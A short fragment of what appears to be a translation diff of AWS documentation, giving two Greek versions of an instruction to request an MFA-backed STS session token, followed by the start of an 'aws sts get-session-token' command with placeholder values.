||||
Αντιγράψτε την εκτυπωμένη τιμή ως TOKEN_CODE και ζητήστε ένα session token με υποστήριξη MFA (STS):
|
||||
Αντέγραψε την τυπωμένη τιμή ως TOKEN_CODE και ζήτησε ένα MFA-backed session token (STS):
|
||||
```bash
|
||||
aws sts get-session-token \
|
||||
--serial-number MFA_SERIAL_ARN \
|
||||
|
||||
Reference in New Issue
Block a user